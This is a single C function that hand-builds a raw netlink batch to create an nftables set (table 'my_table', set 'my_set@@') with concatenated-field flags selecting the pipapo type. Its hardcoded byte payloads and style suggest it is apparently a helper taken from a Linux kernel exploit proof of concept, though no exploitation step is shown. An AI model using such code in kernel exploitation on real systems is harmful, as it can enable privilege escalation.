void create_pipapo_set(int sock){ struct msghdr msg; struct sockaddr_nl dest_snl; struct iovec iov[0x100]; struct nlmsghdr *nlh_batch_begin; struct nlmsghdr *nlh_batch_end; struct nlattr *attr; struct nfgenmsg *nfm;
memset(&dest_snl, 0, sizeof(dest_snl)); dest_snl.nl_family = AF_NETLINK; memset(&msg, 0, sizeof(msg));
nlh_batch_begin = get_batch_begin_nlmsg();
int pay1_size = 100; int nlh1_size = NLMSG_SPACE(pay1_size);
struct nlmsghdr *nlh1 = (struct nlmsghdr *)malloc(nlh1_size); memset(nlh1, 0, nlh1_size); nlh1->nlmsg_len = nlh1_size; nlh1->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET; nlh1->nlmsg_pid = getpid(); nlh1->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE; nlh1->nlmsg_seq = 0;
uint8_t msgcon1[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,115,101,116,64,64,8,0,10,0,0,0,0,0,8,0,5,0,0,0,0,16,8,0,3,0,0,0,0,196,8,0,15,0,0,0,0,9,8,0,7,0,0,0,0,16,32,0,9,0,28,0,2,0,12,0,1,0,8,0,1,0,0,0,0,2,12,0,1,0,8,0,1,0,0,0,0,2}; memcpy((void *)nlh1+0x10, msgcon1, pay1_size);
nlh_batch_end = get_batch_end_nlmsg();
memset(iov, 0, sizeof(iov)); int tot_iov = 0; iov[tot_iov].iov_base = (void *)nlh_batch_begin; iov[tot_iov++].iov_len = nlh_batch_begin->nlmsg_len; iov[tot_iov].iov_base = nlh1; iov[tot_iov++].iov_len = nlh1->nlmsg_len; iov[tot_iov].iov_base = (void *)nlh_batch_end; iov[tot_iov++].iov_len = nlh_batch_end->nlmsg_len;
msg.msg_name = (void *)&dest_snl; msg.msg_namelen = sizeof(struct sockaddr_nl); msg.msg_iov = iov; msg.msg_iovlen = tot_iov;
sendmsg(sock, &msg, 0);
free(nlh_batch_end); free(nlh1); free(nlh_batch_begin); }
|